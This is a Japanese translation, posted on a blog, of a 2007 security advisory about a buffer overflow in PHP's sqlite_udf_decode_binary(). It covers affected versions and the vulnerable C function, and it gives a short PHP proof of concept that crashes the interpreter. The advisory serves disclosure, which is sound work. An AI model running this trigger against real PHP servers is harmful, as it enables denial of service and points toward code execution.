MOPB-41-2007:PHP 5 sqlite_udf_decode_binary() Buffer Overflow Vulnerability

(Last Updated On: 2018年8月16日)

Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。

■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser

■PoCまたは攻撃コード
MOPB-37-2007.php

■リファレンス
なし

■サマリ
sqlite_udf_decode_binary()関数が0x01の1バイトのみを含む文字列で呼ばれると、sqlite_decode_binary()を空の文字列で呼び出すことになります。これは攻撃可能なバッファオーバーフローを引き起こします。

■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満

■詳細情報
sqlite_udf_decode_binary()関数は渡された無効な引数を正しく処理しません。引数の文字列が\x01のみを含む場合、sqliteライブラリのsqlite_decode_binary()の呼び出しが空の文字列を引数として行われます。しかし、これはsqliteのAPIでサポートされておらず、少なくとも1バイト以上の長さが必要です。

int sqlite_decode_binary(const unsigned char *in, unsigned char *out){
  int i, e;
  unsigned char c;
  e = *(in++);
  i = 0;
  while( (c = *(in++))!=0 ){
    if( c==1 ){
      c = *(in++) - 1;
    }
    out[i++] = c + e;
  }
  return i;
}

sqlite_decode_binary()が空の文字列で呼ばれると、ASCIIZ(訳注:NULLバイト)の終端を超えて、次のASCIIZ文字が現れるまでの出たーをコピーします。これは標準関数のstrcpy()のオーバーフローと似ています。

■PoC、攻撃コードまたは再現手順
この脆弱性をテストするには以下のコードを実行します。

<?php

    $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
    $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
    $x = "AQ                                                                        ";
    unset($z);
    unset($y);
    $x = base64_decode($x);

    $y = sqlite_udf_decode_binary($x);

    unset($x);
?>

このPoCはPHPをクラッシュさせるだけです。コード実行の攻撃コードは将来このサイトに掲載されます。後ほど確認してください。

■備考
この脆弱性はバンドルされたsqliteライブラリを、空の文字列での呼び出しに対して強化することにより修正されました。しかし、PHPが外部の共有ライブラリを利用している場合、PHP5.2.1または4.4.6にアップグレード後も脆弱な状態となります。

投稿者: yohgaki